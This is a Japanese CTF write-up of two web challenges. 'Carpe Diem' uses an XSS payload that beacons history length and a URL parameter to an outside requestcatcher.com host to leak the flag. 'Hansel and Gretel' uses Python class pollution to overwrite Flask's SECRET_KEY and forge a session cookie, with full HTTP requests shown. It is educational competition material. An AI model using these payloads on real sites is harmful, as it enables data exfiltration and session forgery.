[web] Carpe Diem
以下のような自由にXSSできるサイトが与えられる。
<html> <head> <title>Carpe Diem</title> </head> <body onload="convert()" onhashchange="convert()"> <h1>Carpe Diem</h1> <textarea id="i" onchange="location.hash=btoa(i.value)" style="width:400;height:300"></textarea> <iframe id="o" style="width:400;height:300"></iframe> <script> convert = () => { i.value = atob(location.hash.slice(1)); o.srcdoc = i.value; } </script> </body> </html>
重要なのはBOTの部分。
const page = await browser.newPage(); const idx = Math.floor(Math.random() * flag_content.length); const k = flag_content.charCodeAt(idx) - 65 + 1; for (let i = 0; i < k; i++) { await page.goto(`http://localhost:${PORT}/${crypto.randomBytes(20).toString("hex")}`, {waitUntil: "networkidle0"}); } await page.goto(url+`?z=${idx}`, {waitUntil: "networkidle2"});
フラグのz番目の文字に対し、Aから何番目かを計算して、その数の分だけページを開く挙動をする。
https://developer.mozilla.org/ja/docs/Web/API/History/length
これが使える。
<script> navigator.sendBeacon('https://asdfsadfsadf.requestcatcher.com/history' + history.length, ''); </script>
こういうのを踏ませてやれば、ページの履歴数が分かり、何回ページを開いたかを特定可能。
GETパラメタのzも普通に取得可能なので、zと履歴の数をペアで取得可能。
つまり、以下を踏ませてやる。
<script> let url = new URL(window.location.href); let params = url.searchParams; navigator.sendBeacon('https://[yours].requestcatcher.com/z' + params.get('z'), ''); window.location.href = 'http://localhost:12345/#PHNjcmlwdD4KbmF2aWdhdG9yLnNlbmRCZWFjb24oJ2h0dHBzOi8vYXNkZnNhZGZzYWRmLnJlcXVlc3RjYXRjaGVyLmNvbS9oaXN0b3J5JyArIGhpc3RvcnkubGVuZ3RoLCAnJyk7Cjwvc2NyaXB0Pg=='; </script>
あとは根性で送りまくって、全部集める。
POST /z0 21 POST /z1 7 POST /z2 11 POST /z3 28 POST /z4 7 POST /z5 27 POST /z6 17 POST /z7 23 POST /z8 20 POST /z9 6 POST /z10 3 POST /z11 27
これをまとめて適当に整形するとフラグになる。
[web] Hansel and Gretel
@app.route("/flag") def flag(): if session.get("user") != "witch": return render_template("template.html", status=403, message="You are not the witch.") return render_template("template.html", status=200, message=os.environ["FLAG"])
このようにsessionのuserがwitchになればいいが、代入できる部分はない。
脆弱点を探すとこのような箇所がある。
def set_(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: set_(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: set_(v, getattr(dst, k)) else: setattr(dst, k, v)
こういう処理を見るとPrototype Pollutionを疑う体になってしまっているので、
そういう視点で考えると、実際にPrototype Pollutionっぽいことが可能。
解法としては、
https://blog.abdulrah33m.com/prototype-pollution-in-python/
これのThere is Moreにある
Overwriting Flask web app secret key that’s used for session signing.
をやる。
色々実験して、Boardクラスのインスタンス(self)からapp.configまで頑張って辿りつくと以下のような感じになる。
POST /save_bulletins HTTP/1.1 Host: chall-us.pwnable.hk:30009 Connection: close Content-Type: application/json Content-Length: 311 { "new_content": [{ "text":"","title":"" }], "__init__": { "__globals__": { "app": { "config": { "SECRET_KEY": "4b57fui6b4mu5v8q34co5us234jiok" } } } } }
new_content部分はバリデータを回避するために入れていて、
4b57fui6b4mu5v8q34co5us234jiokは適当に作った秘密鍵なので何でもいい。
これで秘密鍵を強制させられるので、以下のようにcookieを偽装。
$ flask-unsign --sign --secret 4b57fui6b4mu5v8q34co5us234jiok --cookie "{'user': 'witch'}" eyJ1c2VyIjoid2l0Y2gifQ.ZOGb7Q.xu5MU2XbHVd26BctjUwNX6qOUL0
これを使えばフラグがもらえる。
GET /flag HTTP/1.1 Host: chall-us.pwnable.hk:30009 Connection: close Cookie: session=eyJ1c2VyIjoid2l0Y2gifQ.ZOGb7Q.xu5MU2XbHVd26BctjUwNX6qOUL0